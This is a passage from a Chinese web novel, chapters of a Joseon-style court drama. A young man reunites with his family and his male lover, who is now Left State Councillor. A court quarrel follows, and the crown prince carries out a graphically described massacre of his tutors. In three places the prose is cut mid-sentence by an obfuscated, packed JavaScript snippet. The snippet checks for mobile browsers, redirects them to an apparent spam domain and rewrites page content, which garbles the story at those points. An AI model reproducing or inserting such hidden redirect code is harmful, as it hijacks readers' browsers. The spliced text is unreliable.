说起郑禹原,宋景元的眼里竟充满了赞赏:“说起来,你这朋友倒是勇猛,我听说是和他兄长郑洙原一起夺了崔氏乱兵的旗子,后来还砍了山贼首领的头,把旗子插在头上送给崔在燮了。此举大乱乱党军心,后来回京论功行赏,郑氏虽有受罚在先,但主上念其功大,便恢复了他们的职位,你这位朋友郑禹原呢,如今也被收入了内禁卫当中,你若是进宫,定然能见到他。” 宋景熙不免笑道:“他可算是有个值得称说的职位了。” “你还有一个朋友,是叫做沈本庭,对么?”宋景元问道。 “是的。”宋景熙点点头。 宋景元表情似有疑惑:“这两人从前关系分明同你一样近,然而这两年来,他们却似乎......很不对付。” “很不对付?”宋景熙诧异不已,第一反应便是否认:“这不可能。” 这简直比他和兄长决裂还要不可思议,怎么会发生呢?? “他们的确不太对付,那沈本庭如今也在朝,偶有和郑禹原相见之时,两人便是互不相理,甚至于,那郑禹原看见他了,还会表情嫌恶......”宋景元如是说道。 宋景熙大惊失色:“怎会如此?” 沈本庭和郑禹原的关系,怎么会差到这种地步? 究竟发生了什么? “个中缘由,我也不大清楚。”宋景元摇头道:“沈家和郑家的恩怨,早已和我们宋氏无关了。” 宋景熙沉吟一声,决定找个机会见见这两人一面。但他眼下还有别的问题要问,于是又道:“哥。” 宋景元:“嗯?” “哥。”宋景熙露出一个八卦的笑:“你和宝爱翁主如何了?” 肉眼可见地,宋景元的耳根红了起来。 一直静静听着的宋母乐呵呵地笑了起来:“瞧你问的这话,可是要羞红他的脸了。” “母亲。”宋景元似有些难言。 宋母依旧乐呵呵的:“宝爱翁主没弃了他,如今隔三岔五便会来看望我和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986555|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你哥这孩子呢,也总是打扮得漂亮些,然后出去......” “咳!母亲......”宋景元搓了搓脸。 “哎!好吧,不说便不说了,反正......”宋母还是乐呵呵的:“反正景熙也迟早会看见的。” 宋景熙也明白了个大差不差,笑得不行,笑得平息了,便接着问下一个问题。 “崔在燮之乱是怎么平息的?我听魏老板说,有位朝廷要员出手,不到三个月就平息了崔乱,还活捉了崔在燮和他的家人。” 宋母摇摇头:“朝廷大事,还是景元最清楚。” “这位朝廷要员......”宋景元清了清嗓子,竟然露出一抹笑:“的确厉害,只不过此人身份更加厉害。” 宋景熙好奇:“究竟有多厉害?” 宋母咦了一声。 “此人正是那位崇绫大君......”宋景元道:“之子。” “藏原君。” “?” “???” 宋景熙满脸不可置信。 崇绫大君,李珘之子? 老师什么时候有儿子了! 有是有来着,可是据老师自己所说,他唯二的一对儿女,不是早就死在流放之地了吗? 宋母忽然笑了起来:“此人也正是如今的左相。” 宋景元道:“这位左相为我们找你付出了很多心力,我们都应当好好谢谢他才是。” 宋景熙干巴巴地道:“他是谁?” “若是你见到他,自然也就知道他是谁了。” 宋景元笑了笑:“景熙,这位左相现下就在你背后,何不转身看一看。” 宋景熙猛地往后一看,整个人便落入一双紧紧凝视着他的眸子里。 那面容,和他朝思暮想过的人怎能说不是一模一样? 一模一样,却也带着些许不一样。 较之当年,更加俊美,却也更加成熟,更加夺人眼球。 “!!!” 宋景熙猛然起身,差点给自己摔倒,也不知道是谁先抱住了对方,也许是他们心有灵犀,都毫不犹豫地伸出双臂抱向对方,然后紧紧贴在一起。 那熟悉的气息,都是他们天各一方时朝思暮想、辗转反侧多年,梦寐以求却求而不得的气息。 此刻终于盈满了鼻腔,溢出眼眶。 宋母和宋景元也站起身来,暗自笑而不语。 宋景熙很快想起母亲和兄长还看着,又很快想起方才母亲和兄长的意思,于是惊讶地扭头,看见的便是暗自笑得不行的两人。 “......” 宋景熙收紧了握着韩时元衣裳的拳头,眨眼看了看他,又眨眼看了看母亲和兄长:“你们都......知道了?” 宋母笑道:“好了好了,知道你想问什么,我们早就知道了,就他这个找你时比我们还要着急的样子,他这么在意你,我还能看不出来?” 她完全记得,这位左相为了找到景熙付出了什么。 宋景熙暂时放开韩时元,从韩时元的怀里离开,站直了,道:“那你们...不......” “怕我们不接受?”宋母耿直道。 宋景熙挠了挠脸。 “若是父亲当年在,他的确不会同意。”宋景元道。 “可现在是现在。”宋母严肃起来:“景熙,你还不了解你娘我吗?” “因为你爱他,所以不会介意他是男人还是女人,因为我们爱你,所以也不会介意你爱的人是男人还是女人。不是吗?” 宋景熙一怔。 他迟疑了半晌,然后再度抱紧韩时元长叹一口气:“都不用我带你来见我家人了。你怎么做得这么好啊?” 韩时元难得浅浅一笑,悄声说道:“为了得到你的夸奖。” 很久没听到爱人的耳语,宋景熙难免心头一颤。 这就是他等了很久的,一如既往的声音。 90. 火病其一 数日后。 朝堂之上。 要说谁最接受不了宋景熙回来这件事,那必然是沈提学无疑了。其在朝堂上的反应就足以说明一切。 “罪人之子怎能重归朝廷呢主上?!这简直有违国法,有违王室的尊严!”他公然大叫道。 王上并不说话,只是头痛般地半捂着额头。 沈提学毫无眼里见,继续反对李珘提出的让宋景熙入朝为官的提议,他扭向一旁的李珘和韩时元,极不服气地质问道:“大君大人,你本是受害者,岂能因为私底下的关系而原谅那有着不可饶恕的罪人的血液的家伙呢?要是这也可以不计前嫌,那那个至今尚在潜逃的韩义亨的儿子,韩明吉!我们也不必再费尽心思捉拿了!” 李珘早就看沈提学不惯多时了,当即怼回去:“这是一回事吗?沈提学,你不要再在这混淆视听!你忘了,去年拨乱反正的浪潮里,左相早就证实了那绢布不实!” 沈提学嘴上霎时歇了火,心底下却又气得要死。自从三年前,这个“崇绫大君之子”的藏原君出现并入朝之后,就在朝廷上的势头一发不可收拾起来,不仅以三十多岁的年纪就做到了左相一职,还把当年的勋旧派全部打碎,并着一些不入流的清流重组成了“王党”,打着只拥护君王的旗号,把他们士林派给整得够呛。 在他的眼里,所谓的“王党”这群人,完全就是一群流氓! 可偏偏王上就喜欢这群王党,偏偏这该死的王党还真干了不少实事。 譬如去年那件名为“拨乱反正”的大事,正是由王党的领袖——左相掀起的一场浪潮,说是什么从前勋旧——士林分庭抗礼之时,因两党恩怨而产生了许多冤案,必须将陈年旧案全部拉出来重审一番,以此严肃风气,维持纲纪。还拿废世子案出来说事,那废世子案的主角崇绫大君更是支持得不得了,搞得他们士林派根本没话说! 审吧! 一审不要紧,的确扯出了许多冤案,他沈同庆是记得有一个什么一样姓韩的小门小户的案子被拿了出来,是第一个成功翻了案的,这一翻案翻得好,后面不少冤案都以这个案子做参考,让当年不少被冤枉死的好官终于可以让他们的家人为其办一个光明正大的、风风光光的葬礼。 接着,这股拨乱反正的风气又传到了民间,民间的案子也开始重审,又是一审不要紧,审出许多个冤假错案。譬如某些地方守令,辖下的郡县出了案子迟迟找不到凶手,又怕上官怪罪下来,于是随便抓个普通平头百姓顶罪了事。这“拨乱反正”地重审一遭,算是把这些心术不正的家伙们都给揪出来了。 左相和他的王党干实事干了这么多,他沈同庆也就憋着一股气憋了有多久。憋着憋着,终于等到狐狸尾巴露出来的一天了! 这不,左相和他的王党这群流氓,终于拿废世子案动手了! 说什么那绢布是假的?是他沈同庆伪造的? 开玩笑,那是他沉着韩氏被抄家的时候,手下亲手从韩氏宅子里掏出来的好吗! 可结果他这么说了之后,主上却阴恻恻地看了他一眼,然后怪罪于他私自拿取赃物,接着,左相那群人又开始拱火了,说什么赃物来路无法查证,是他沈提学一家之言,所以极为可能伪造! 之后,这群人还查出那绢布不是本国产物,而是从中原进口所得,而这绢布只在近二十年间有过官商进购,也只在近二十年间有过市场出售。而废世子案距今早就不止二十年了,三十年都不止! 他娘的,这意思是要是想证明这绢布上的名字和手印都是真的,那就得先证明这绢布的来源,比如,也许是韩氏暗自在中原购买的,或者走私来的。 可这怎么好证明?韩氏都死光了,证明个屁! 这哑巴亏,只能他沈同庆自己吃下去了。 李珘特别乐意气死沈同庆,于是继续发力:“沈提学,说白了,你不过是害怕宋景熙来揭发你什么了,我说的应该不错吧,你们沈氏,至今还没有洗清和崔氏乱党有所勾结的嫌疑!你敢说你三年前朝廷水军南下的时候消息暴露,你们沈氏没有一丁点参与?” 沈提学气愤道:“大君大人,这事早已有了定论了,我们沈家清白无比,你何必再拿此事来羞辱于我?” 李珘道:“定论?定论个屁!你这个厚颜无耻的老贼,若非是证据不足,你沈氏早同那韩氏一般,全族含笑九泉了!” “大君大人!你这是非要和臣过不去了!”沈提学早已气得老脸通红:“既然大君你如此不仁,也休怪臣不义了!”他猛地转向御座,高声道:“主上!臣有一问,如今实在是不得不问了,请问左相,究竟身份为何?!” 王上方从一阵嗡鸣声回过神来,揉了揉额上穴位,听到沈提学这话,缓缓抬眼:“这话,何意?” 沈提学不怕死一般道:“臣怀疑藏原君、左相此人,根本不是崇绫大君之子!” “......” 一阵寂静中,韩时元轻笑了一声:“沈提学,你实在是没有别的话要说了是吗?” 沈提学眼睛蹬如铜铃:“你心虚了?” 韩时元生地比沈提学高得多,居高临下地睨视了他一眼,依旧是如此不屑:“心虚?不,我只觉得可笑。你是被逼到绝路了才这么问?” 李珘也哈哈一笑,补刀道:“的确像是被逼得没话说了才说出来的话,好蠢哪。” 沈提学受不了被当廷嘲笑,脸越来越红,但眼神里竟然有一丝把握的得意:“崇绫大君,明明所有人都知道你的儿子不幸因病而亡于济州,甚至先王当年听说之后,即便是病中垂危,也要一纸教书传去,让孩子回到汉阳安葬。” 李珘眯了眯眼。 “可你却不肯,执意将一双儿女葬于济州,没过多久,大君大人,你回来了。”沈提学眼底的得意越来越浓,说着看向左相:“藏原君! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这无异于被人指着鼻子骂,沈提学早已胡子上翘,差点气到当场归天,但还是凭吊着一口气,说出最后一句话:“你......!你们不要逼我!崇绫大君,你敢不敢让臣挖开你那对儿女的坟墓,看看里头究竟是一具尸骨还是两具尸骨!咳咳......我,我早已知道那座坟落在何处,你敢不敢...敢不敢,咳咳.......” 李珘瞪大眼睛:“沈提学,你他......” “畜生。”韩时元难得如此直白地出口骂人。 这时,坐在御座上一直当背景板的王上终于发话了,这次,他的语调也一样冰冷无比:“沈提学,你口口声声王室尊严,今日桩桩件件,你究竟哪里尊敬王室半分?” 沈提学煞白着脸,眼睛只能睁得开一只了,话也说不出来,只是不断地咳嗽:“咳咳......臣,咳...不是,咳咳咳......” “够了。”王上冷眼道:“来人,拖出去。” 话音一落,殿外便冲进两名内禁卫,仔细一看,其中一位正是郑禹原。郑禹原力大无比,甚至不需另一位内禁卫协助,便一人将沈提学毫无尊严地拖了出去。 看他那样子,拖得应该还蛮开心的。 “往后,不允许任何人再提起这些事。”说完,王上也咳了几下,挥手示意众人都推下去。 安安静静的,没有人再说话。 91. 火病 又是几日后,连续数日没有召开朝会的王上依然没有上朝,而是改为召见了世子的侍讲师傅。 因为这位侍讲师傅已经连续求见多日了。 侍讲师傅跪在殿中,不为别的,竟然只是为了......辞职! 王上已经只能依靠在椅子上了,听了侍讲师傅的请辞,有气无力地只问了一句:“为什么?” 侍讲师傅不敢抬头:“臣实在是担不起教导世子邸下的职责,还请主上......” “为什么?”王上打断他,再重复了一遍。 侍讲师傅咬了咬牙,明白王上到底在问他什么,于是只好道:“臣......教不起这样的世子!” 王上打量了他一眼,眼中没有质问和愤怒。 侍讲师傅把头低得更低了,但声音却高亢起来:“就算是天底下最有学问、最有道德的人来教,也绝不能将世子邸下教成材的,主上!”说到这,侍讲师傅似乎有些哽咽。 王上将头仰靠在御座的靠背上,疲倦不已:“连你也终于这么对寡人说了。” 侍讲师傅张了张嘴:“臣......” 王上道:“你也觉得寡人立错人了,是不是?” 侍讲师傅小幅度地摇了摇头。 开玩笑,他心底拼命点着头,恨不得大叫起来:是的,主上,您就是立错了人,睿南君他本来就不该当世子!没有人比他当得更差劲了! 他更想咆哮,有这样的世子,这样的继承人,国家迟早会被造没的! 王上心寒道:“他从前是个勤奋的孩子。尚未当上世子时便勤奋不已,当上世子的那两年分明更甚,不是么。” 侍讲师傅欲哭无泪:“是这样没错,可是主上,世子他本就天资不足,即便再勤奋,又如何能补拙呢?更何况邸下他......实在是心术不正,性格又暴戾乖张,不为仁君,本就...本就不该成为世子啊......” 顿时觉得更加疲累,样了扬手,示意侍讲师傅推下。侍讲师傅愣怔了一瞬,明白这是辞职失败了,只能咬咬牙继续干这个苦差事下去。 他心里霎时一片凄凉苦楚无比,难道自己只能靠三尺白绫来明了自己的志了吗? 可是那样的话...... 三日后,黄昏降至,世子侍讲院。 世子已经罢课好多时日了,今日突然召开经筵,侍讲院众臣也是诧异无比。世子能缺席,他们可不敢,只能按世子的意思老老实实参加经筵。 一个时辰过后...... 议题给出,世子也已经回答完毕,几位坐在最前的侍讲官却面面相觑,迟迟没有给出评价。 这怎么评?世子的回答简直不可理喻! 简直和圣人之言完全违背! 简直不是个正人君子该说出口的话! 这简直就是大逆不道嘛! 这几位侍讲官面前各摆着四个牌子,每个牌子上都写着不同的字,分别是“通”,“粗”,“略”,“不”,以此来表示对世子回答的评价高低。他们简直不知道自己面前这代表最高评价的“通”字木牌已经多久没有被推出去了。 按理,他们是该把代表最差评价的木牌推出去的,可他们根本不敢这么做! 就怕这位素以脾气不佳而著名的世子邸下怒火爆发! 侍讲官们欲哭无泪,主上啊,你究竟是怎么生出位如此难伺候的主的! 一直顶着世子的目光,侍讲师傅也有些受不了了,只好硬着头皮,手指颤颤巍巍地摸向中间的“粗”字木牌。 然而,他还没将木牌拿起来,另一旁的左议政韩时元就已经将代表最低评价的“不”字木牌推了出去。 侍讲师傅犹豫了一下,左相这人平常就没给过好评价,不是“略”就是“不”,简直从来没给过世子邸下一点好面子。扪心自问,他也想给个“不”字评价,可他作为世子的师傅,又不得不考虑世子的面子,于是还是缓缓将“粗”字木牌推了出去。 另外几个侍讲官见状,也毫不犹豫地推出了“略”字木牌。 折中啊折中。 这就叫文人的大智慧,谁也不得罪! 出乎意料地,李澄竟是微微一笑。 侍讲师傅正待松一口气,却不料听见那阴森至极的一句话:“为什么?” “你们说,为君之厚,为人之德,说君主或霸主若是没有比天还高的德行,没有比地还广德胸怀,那么终将失去人心,大业将败。这些话,简直可笑极了。” “为什么我费尽心思地说出了那么多大逆不道,和那群圣人之言完全违背的话,你们却好像听不见一样,还违背本心给了我不错的评价?” 侍讲师傅冷汗直流。 “我知道你们当中有不少人反对我坐上世子这个位置,更在暗中议论我这个世子,说我天资不足,即便再勤奋,也不配为君!”说到这,李澄毒蛇一般的目光扫向了面前一群侍讲官们。 侍讲官们心中骇然不已,其中要数谁再惊骇,谁最害怕,自然是侍讲师傅无疑。 这话...这话......可不就是那日他同主上私下谈话时说的吗! 可是、可是世子是如何知晓的?? 李澄缓缓站了起来,面上竟然有些许扭曲之意:“我废寝忘食,日夜学习,从不敢懈怠一分一毫,就是为了让你们这群老学究满意,就是为了告诉你们,除了我,没人坐得上这个位置,没人比我更配得上这个位置!” “可是你们,竟然说我天资不足?我再怎么努力,都是白费?”李澄快步走到侍讲师傅面前,面容已经完全扭曲,他咬牙切齿起来:“既然怎么做你们都不满意,那我就告诉你们,你们怎么样才会让我满意!” “也告诉你们,违抗我的下场!” 说罢,他一把将侍讲师傅抓了起来,然后往经筵厅下拽去。侍讲师傅被他拽得根本走不动道,众人也诧异极了,纷纷从座位上离开,犹犹豫豫地试图去解救侍讲师傅。 他们真不该犹豫的,因为他们低估了李澄现在究竟有多癫狂。 下一刻,几乎是一瞬间,李澄拔出经筵厅下侍卫腰侧的刀,然后毫不犹豫地、手起刀落,砍掉了侍讲师傅的头颅! 侍讲师傅还来不及惨叫,头颅就已经落地,骨碌碌地滚远,而那自碗口大般的血色颈部间喷涌而出的鲜血,更是霎时喷溅而出,洒了侍卫和李澄一身。 李澄脸上沾了热的血,血在他脸上冷掉,他狂笑起来,好像报了大仇一般,宛如从地狱里爬出来的索命鬼一般可怖。 侍讲官们早已混乱成一团,迅速朝另一边涌出去。可李澄也没多笑几声,当即举刀抹了那被抢刀的侍卫的脖子,然后脚步飞快地朝侍讲官们冲去。 他略过独自一人坐在地上的韩时元,目标似乎不是他。 他的目标是刚刚跑下阶梯的沈提学! 沈提学害怕不已,而且还是跑在最前面的一批,他刚庆幸自己跑得快,而且确信自己和李澄没有多大的仇,自己可没有在主上面前说世子的什么坏话!然而刚庆幸没几秒,跟着他一起逃跑的一名侍讲官就露出惊恐的眼神,惊声道:“啊...啊!沈提学,他、他过来了!” 沈提学下意识地回头看,正好对上李澄那双要命的目光,瞬间吓得六神无主,脚上抹油一般,立刻开溜。 只可惜,老腿一把,人群又迅速挤上来推搡,沈提学根本没有跑出去多远。 只差了几丈,真的只差了几丈,他就逃出那道开着的门了! 然而,一股几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996117|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎要让他窒息的手抓住了他的后领,然后大力拖离了那扇门! 已经有官员从那扇门逃出去了,他们无一不是回头看见了被抓住的沈提学惊恐无比的神情,然而,他们无力帮忙。 沈提学放声大叫:“救、救命!” 他感到脖子一痛。 视线天旋地转,然后重重地抖颤了一下。 随即,眼前那些人不再逃窜,风不再吹拂,树叶不再摇摆。一切都定格了。 李澄癫狂地割下沈提学的头颅,然后提在手中摇晃,看着视他如洪水猛兽一般拼命逃离的官员,笑得乐不可支起来。 “下场...哈哈哈......下场,下场......哈哈哈哈哈哈哈哈哈哈哈哈......” 他转过身,看见面前一个持刀侍卫正在小心翼翼地走来,接着,他还看见了已经站起来的左相。 左相表情冷淡,似乎并不在意。 真可恶啊...真讨厌啊...... 怎么能这么冷静呢? 李澄眼底再度被怒火所占据,他上前抓住侍卫,不顾侍卫的求饶,然后找了个角度,提刀一划,捅入了恐惧嚎叫的侍卫的腹部。 他面色狰狞地将刀转了一圈,然后猛地抽出刀——鲜血迸溅出来。 撒了左相的黑色官袍一身。 让李澄失望的却是,左相并没有低头看一眼官袍,而是直视着他。 在韩时元的视角里,李澄满脸鲜血,实在是...... “太肮脏了,擦一擦吧。”韩时元如是说道。 李澄瞪大眼睛,死死盯着韩时元。那眼眸中分明没有什么情绪,却让他活活解读出了蔑视。 不可以! 谁都不可以这么看着我!谁都不可以蔑视我!谁都不能! 李澄大叫一声,然后举起沾满了鲜血的长刀—— ...... 夜色中,宋景熙正躺在榻上,他没睡,一直睁着眼。 一片悄无声息的黑暗当中,窗棂外忽然传来一阵脚步声,微弱的火光也跃入了眼眶。 宋景熙坐了起来。 房门推开,脚步声继续走近,火光却留在了外面。 很快,宋景熙落入了一个温暖的怀抱当中。 他心下一软,正打算道:“总算回来了”,却敏锐地察觉到韩时元没有穿着外袍。 “你的外袍呢?” “脏了。”韩时元闷声道。 “官袍还能脏了?怎么弄的。”宋景熙轻声笑起来。 “宫里出事了。” 宋景熙有些诧异:“出事了?” “嗯,世子杀人了。”韩时元道:“他在经筵上动手,杀了四个人。” 宋景熙差点没控制住声音:“杀人?你没事吧?!” 韩时元微微摇了摇头:“我好得很。他怎么伤得到我?” “这倒是。”宋景熙冷静下来,却依旧担忧不已:“他怎么会突然杀人?不行,这觉我看是不必睡了,老师那边知道了没?” 韩时元点点头:“知道得很快,已经进宫了。” 宋景熙道:“走,我们也进宫一趟。”说着,立刻就要从榻上离开,韩时元不轻不重地拉了他衣袖一把,欲言又止,终是没说什么,老老实实跟着宋景熙去换衣裳。 宋景熙从架上取下自己的外袍,迅速穿上,回头道:“藏原君?” 韩时元面色一紧,不适应宋景熙这么叫他。 宋景熙哈哈一笑:“你的官袍脏了,穿不得,那就只能穿你那藏原君的宗室外袍了。”说罢,衣柜中翻箱倒柜一番,找出了那件红紫色外袍,递给韩时元:“快穿上。” 韩时元无奈道:“是。” 整装完毕,进宫。